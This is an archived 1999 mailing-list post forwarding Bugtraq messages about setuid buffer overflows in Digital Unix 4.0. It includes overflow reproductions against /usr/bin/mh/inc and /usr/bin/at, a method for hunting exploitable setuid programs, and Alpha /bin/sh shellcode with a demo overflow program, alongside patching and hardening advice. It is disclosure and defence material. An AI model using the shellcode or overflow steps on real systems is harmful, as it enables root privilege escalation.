Bugtraq articles, 4.0 buffer overflows, etc

From: Eric Gatenby <egatenby_at_mailhub.com>
Date: Fri, 29 Jan 1999 10:40:27 -0500 (EST)

Hi. I've been following a thread on Bugtraq about potential buffer overflows
in 4.0D's /usr/bin/mh/inc, as well as other programs in various 4.0X
releases. The poster says he will be posting real exploit code over the
weekend. The question is, how worried should I be? :) As a precaution, I
chmod'd /usr/bin/mh/inc, but I have concerns about the 70+ other setuid root
programs in 4.0D.

Here are some of the posts:

>From lamontg_at_RAVEN.GENOME.WASHINGTON.EDU Thu Jan 28 13:22:23 1999
Date: Mon, 25 Jan 1999 12:21:45 -0800
From: Lamont Granquist <lamontg_at_RAVEN.GENOME.WASHINGTON.EDU>
To: BUGTRAQ_at_netspace.org
Subject: Digital Unix 4.0 exploitable buffer overflows

Previously Digital Unix has been relatively immune to buffer overflow
attacks due to the lack of an executable stack in the 3.x versions. For
the 4.0 versions the stack was made executable -- likely for JIT compilers
and maybe programs that need GCC-like trampolines. This, of course,
greatly simplifies the coding of exploits.

I have actually written shellcode and successfully exploited several
programs on Digital Unix 4.0. I managed to successfully exploit
/usr/bin/at in Digital Unix 4.0B (no patches) which is probably the same
bug as CA-97.18.at (www.cert.org/advisories/CA-97.18.at.html) -- this was
patched in DU4.0D and hopefully is fixed in the patch kits for DU4.0B
(although I have not checked the latter).

I also successfully exploited /usr/bin/mh/inc in DU4.0D with patch kit #2.
I have not tested it against patch kit #3 yet, but have reason to believe
that it has not yet been included in a patch kit (hopefully I'll have PK3
installed later this week and can get back definitely on this).

The exploit for both of these programs will be shortly forthcoming, but in
the meantime this should be sufficient evidence that these are
exploitable:

# uname -a
OSF1 xxx V4.0 878 alpha
# head -1 /etc/motd
Digital UNIX V4.0D (Rev. 878); Fri Jan 15 10:19:07 PST 1999
# grep KITNAME /var/adm/patch/log/event.log
KITNAME>Patches for Digital UNIX V4.0D (DUV40DAS00002-19980717,17-Jul-1998:09:17:35)
# ls -l /usr/bin/mh/inc
-rws--x--x 1 root bin 73728 Dec 29 1997 /usr/bin/mh/inc*
# /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8400'` foo
Segmentation fault (core dumped)
# gdb /usr/bin/mh/inc core
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (alpha-dec-osf4.0), Copyright 1996 Free Software Foundation,
Inc...
(no debugging symbols found)...
Core was generated by `inc'.
Program terminated with signal 11, Segmentation fault.
[...snip...]
#0 0x6161616161616160 in ?? ()
(gdb)

For /usr/bin/at, you need to have DU4.0B (or A or C?) and:

% /usr/bin/at `perl -e 'print "a" x 300'`
Segmentation fault (core dumped)
% gdb /usr/bin/at core
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "alpha-dec-osf3.2"...(no debugging symbols found)...
Core was generated by `at'.
Program terminated with signal 11, Segmentation fault.
[...]
#0 0x6161616161616160 in ?? ()
%

As I said, the /usr/bin/at bug has been fixed in DU4.0D, and probably in
patch kits to earlier Dunix versions.

Also, if you search back in the Bugtraq archives, there is a post by
myself with a short program that tests the stack to see if it is
executable or not. If it is compiled and tested on DU4.0 you should
notice that it works instead of failing the way that it does on DU3.x

I *will* be releasing the exploits publically so that it is possible to
confirm that they work and to allow people to bash on other suid programs
on Digital Unix. This is an advance warning so that admins can take
appropriate steps to secure their systems. In particular,

WHAT TO DO:

1. visit ftp://ftp.service.digital.com/public/dunix/ and download and
    install the appropriate patch kit for digital unix.
2. turn off the group+world read permissions on all your suid files to
    prevent them from coredumping for non-root users (in versions of
    digital unix prior to 4.0D this may be a more severe security hole).
3. turn off the suid bits for all suid programs that you do not use and
    in particular 'chmod u-s /usr/bin/mh/inc' if nobody uses it.
4. for security-critical sites (ISPs) (or if you use /usr/bin/at and
    cannot patch it or if you use /usr/bin/mh/inc) wrap the remaining
    programs with a suid wrapper, eg:
       ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper
5. audit all the programs that you have listening on TCP/IP ports -- i
    would expect that with shellcode out there that people can adapt
    current exploits for bind, ttdbserverd and statd to digital unix.
    5a. use 'nmap' or 'strobe'
    5b. use 'rpcinfo -p'
    5c. look through 'ps xa' to find daemons running which you aren't
         using, find then in either /etc/inetd.conf or the /sbin/rc?.d
         startup files
    5d. take services out of /etc/inetd.conf

In anticipation of a flood of e-mail of people asking me "hey, i found
program xxx dumps core on digital unix, can i exploit it?", here are some
steps to take first:

BEFORE EMAILING ME:

1. Please make sure that your system is running with the latest
    patch kit installed for the version of digital unix that you are
    running. Please include a 'uname -a' and that 'grep KITNAME' from
    the machine that you are running (head -1 /etc/motd helps too since
    I don't know rev numbers for DU version i haven't worked on).
2. Please do the extra work to check with gdb to see if the program
    will jump to the magic '0x6161616161616160' address -- if you can't
    get this far then you aren't able to tweak the return address and
    I CANNOT HELP. I've found a lot of programs in digital unix that
    dump core and stubbornly refuse to give a 0x6161616161616160 and
    without a source license I can't figure out if they might be
    exploitable with a bit more sophisticated attack. It may, however,
    help to trim down the size of the argument that you're overflowing
    with a bit.
3. Please figure out what the size of the buffer is that you're smashing
    by reducing your smashing argument to the smallest size which gives
    an error. This goes along with the last sentence of #2 -- Get it as
    small as possible, then add about 24 (to hopefully make sure that
    you're hitting the RA -- try 40, 60, 100 if 24 doesn't work) and then
    look for the 0x6161616161616160. The binary search algorithm is your
    friend for this step.
4. Check to make sure that you can get values other than 0x61 ('a') into
    the return address. /usr/sbin/trpt -p `perl -e 'print "a" x 600'
    will give the magic '0x6161616161616160' but the overflow bytes are
    restricted to hex [A-Fa-F0-9] and I can't write shellcode that is
    that restricted (and those restrictions on ra locations probably makes
    it damn near impossible to exploit this one even if i had that kind
    of shellcode).

--
Lamont Granquist                       lamontg_at_raven.genome.washington.edu
Dept. of Molecular Biotechnology       (206)616-5735  fax: (206)685-7344
Box 352145 / University of Washington / Seattle, WA 98195
PGP pubkey: finger lamontg_at_raven.genome.washington.edu | pgp -fka
>From lwcashd_at_TROUT.BIW.COM Thu Jan 28 13:22:32 1999
Date: Tue, 26 Jan 1999 15:46:27 -0500
From: Larry W. Cashdollar <lwcashd_at_TROUT.BIW.COM>
To: BUGTRAQ_at_netspace.org
Subject: Re: Digital Unix 4.0 exploitable buffer overflows
I decided to inspect this a little more on a Digital unix box I had access too.
alpha>> uname -a
OSF1 xxx V4.0 878 alpha
alpha>> head -1 /etc/motd
Digital UNIX V4.0D  (Rev. 878); Tue Jul  7 08:39:27 EDT 1998
alpha>> ls -l /usr/bin/mh/inc
-rws--x--x   1 root     bin        73728 Dec 29  1997 /usr/bin/mh/inc*
alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8169'` foo
Segmentation fault
alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8168'` foo
Illegal instruction
alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8167'` foo
Segmentation fault
alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8166'` foo
inc: usage: inc [+folder] [switches]
We see at 8168 a's we have overflowed the return address.  If I wasnt married
I could probably follow this up with the exploit.  Just a little nop padding and
I think it would be the perfect example of a buffer overflow exploit.
-- Larry W. Cashdollar
>From smm_at_WPI.EDU Thu Jan 28 13:22:39 1999
Date: Tue, 26 Jan 1999 15:18:08 -0500
From: Seth Michael McGann <smm_at_WPI.EDU>
To: BUGTRAQ_at_netspace.org
Subject: Re: Digital Unix 4.0 exploitable buffer overflows
On Mon, 25 Jan 1999, Lamont Granquist wrote:
> Previously Digital Unix has been relatively immune to buffer overflow
> attacks due to the lack of an executable stack in the 3.x versions.  For
> the 4.0 versions the stack was made executable -- likely for JIT compilers
> and maybe programs that need GCC-like trampolines.  This, of course,
> greatly simplifies the coding of exploits.
You would not believe how surprised I was to see this in my mailbox today.
I had been working on Dec Unix shellcode and sort of abandoned the project
after making a test exploit using an executable heap buffer.  Never
believe anyone, always test it yourself.  Oh well.  Here is what I had
come up with, it includes an asm of the shellcode as well as a demo
exploit.  You will notice the large amount of zeros, in fact the PAL code
for a syscall is 0x00000083.  So, we are not going to easily sidestep the
problem of NULL removal as we can on x86.  My suggestion, is to use a
technique used in several IMAP exploits, where the shellcode is encoded
and then decoded.  At any rate, this should get you started.  And allow
you to see for your self what needs to be done.
Shellcode in asm:
.globl main
.ent main
main:
jmp egg         # find out where we are
backhere:
mov $26,$30
mov  $26 , $16
mov  $26, $1      # make a copy of ra
addq $1, 0x08, $1 # offset 8
mov  $1 , $17     # points at argv
addq $1, 0x04, $1 # offset 8
stq  $26, 8($30)
stq  $31,  16($30)
mov  0x0, $18      # move in the syscall number (execve in this case)
addq $31,0x3b,$0   #
.quad 0x00000083   # do the deed
egg:
bsr backhere
.ascii "/bin/sh\0"
.quad 0     # pointer to /bin/sh  (argv[0])
.quad 0     # pointer to NULL
.quad 0     # this is unnecessary, but i left it in for debug
.quad 0
.end
Simple, eh? You'll notice all the common techniques used in this egg.
This would be suitable for a bcopy overflow (iquery, bootpd...) just add
the dup's and your set.  When you compile this with as you will nedd to
strip off the headers and insert into the stack for it to work, lest it
crash due to modifiying the text segment.  Here is an example loaded with
the shellcode.
Test program:
char sc[]= { 0x0c, 0x00, 0xe0, 0xd3,0x01, 0x04, 0x5a, 0x47,
             0x1e, 0x04, 0x5a, 0x47,0x01, 0x14, 0x21, 0x40,
             0x11, 0x04, 0x21, 0x44,0x10, 0x04, 0x5a, 0x47,
             0x08, 0x00, 0x5e, 0xB7,0x01, 0x94, 0x20, 0x40,
             0x10, 0x00, 0xfe, 0xb7,0x00, 0x74, 0xe7, 0x43,
             0x12, 0x04, 0xff, 0x47,0x83, 0x00, 0x00, 0x00,
             0x1f, 0x04, 0xff, 0x47,0xF3, 0xFf, 0x5F, 0xD3,
             '/', 'b','i','n','/','s','h',0x00,
             0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
             0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
             0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
main(int argc,char **argv) {
leaf();
}
leaf(){
char blow[512];
int i;
unsigned long addr;
addr=(unsigned long)blow;
for(i=0;i<1024;i+=8) {
blow[i]=addr & 0xFF;
blow[i+1]=(addr >> 8) & 0xFF;
blow[i+2]=(addr >> 16) & 0xFF;
blow[i+3]=(addr >> 24) & 0xFF;
blow[i+4]=(addr >> 32) & 0xFF;
blow[i+5]=(addr >> 40) & 0xFF;
blow[i+6]=(addr >> 48) & 0xFF;
blow[i+7]=(addr >> 56) & 0xFF;
}
bcopy(sc,blow,sizeof(sc));
}
Simply compile and run, and you will receive a shell.  On Alphas you will
need to return from the parent of the overflowing function to get any
effect.  In this case leaf() overflows and on exit from main() we get our
shell.  On another note, if you have a standard string overflow you will
need to be wary of NULLs.  This shellcode can easily be converted to have
no zero bytes using an encoding routine.  A bigger problem is the return
address, which almost certainly will have nulls.  Since this is a little
endian architecture we can fill in the least significant bits and be done
with it.  A side effect is we have to guess the offset exactly, or no go.
Anyway, just thought I'd post this before its obsolete :)  Maybe you will
get something out of it while waiting for better code.
Nice work Lamont.
If you are running Digital Unix, I would be real worried right about now :)
Seth McGann - smm_at_wpi.edu
el8.org -w00w00 - WSD
>From gang_w_at_goselecttech.com Thu Jan 28 13:22:48 1999
Date: Wed, 27 Jan 1999 17:00:22 -0800
From: GANG WANG <gang_w_at_goselecttech.com>
To: BUGTRAQ_at_netspace.org
Subject: Re: Digital Unix 4.0 exploitable buffer overflows
    [ The following text is in the "iso-8859-1" character set. ]
    [ Your display is set for the "US-ASCII" character set.  ]
    [ Some characters may be displayed incorrectly. ]
Here is what I got.
% uname -a
OSF1 xxx V4.0 878 alpha
% head -1 /etc/motd
Digital UNIX V4.0D  (Rev. 878); Tue Jul  7 08:39:27 EDT 1998
% ls -l /usr/bin/mh/inc
-rws--x--x   1 root     bin        73728 Dec 30  1997 /usr/bin/mh/inc*
% /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8167'` foo
Word too long.
% /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 2040'` foo
inc: usage: inc [+folder] [switches]
% /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 2048'` foo
Word too long.
Seems this inc bug has been fixed already.
-----Original Message-----
From: Larry W. Cashdollar <lwcashd_at_TROUT.BIW.COM>
To: BUGTRAQ_at_NETSPACE.ORG <BUGTRAQ_at_NETSPACE.ORG>
Date: Wednesday, January 27, 1999 9:40 AM
Subject: Re: Digital Unix 4.0 exploitable buffer overflows
>I decided to inspect this a little more on a Digital unix box I had access
too.
>
>
>
>alpha>> uname -a
>OSF1 xxx V4.0 878 alpha
>alpha>> head -1 /etc/motd
>Digital UNIX V4.0D  (Rev. 878); Tue Jul  7 08:39:27 EDT 1998
>alpha>> ls -l /usr/bin/mh/inc
>-rws--x--x   1 root     bin        73728 Dec 29  1997 /usr/bin/mh/inc*
>
>alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8169'` foo
>Segmentation fault
>alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8168'` foo
>Illegal instruction
>alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8167'` foo
>Segmentation fault
>alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8166'` foo
>inc: usage: inc [+folder] [switches]
>
>We see at 8168 a's we have overflowed the return address.  If I wasnt
married
>I could probably follow this up with the exploit.  Just a little nop
padding and
>I think it would be the perfect example of a buffer overflow exploit.
>
>
>-- Larry W. Cashdollar
-- 
Eric Gatenby  -=-  raptor_at_mailhub.com  -=-  egatenby_at_mailhub.com
http://www.netaxs.com/~raptor/         -=-  PGP: Web page or key server
#include <netinet/disclaimer.h>	  /* Standard Internet disclaimer */
>From #distributed on EFnet
<url> hmmm... slashdot is at http://slashdot.org/ or at
      http://glorified.newsgroup.for.whining.geeks
(Sorry for the long .signature )
Received on Fri Jan 29 1999 - 15:41:21 NZDT

This archive was generated by hypermail 2.4.0 : Wed Nov 08 2023 - 11:53:38 NZDT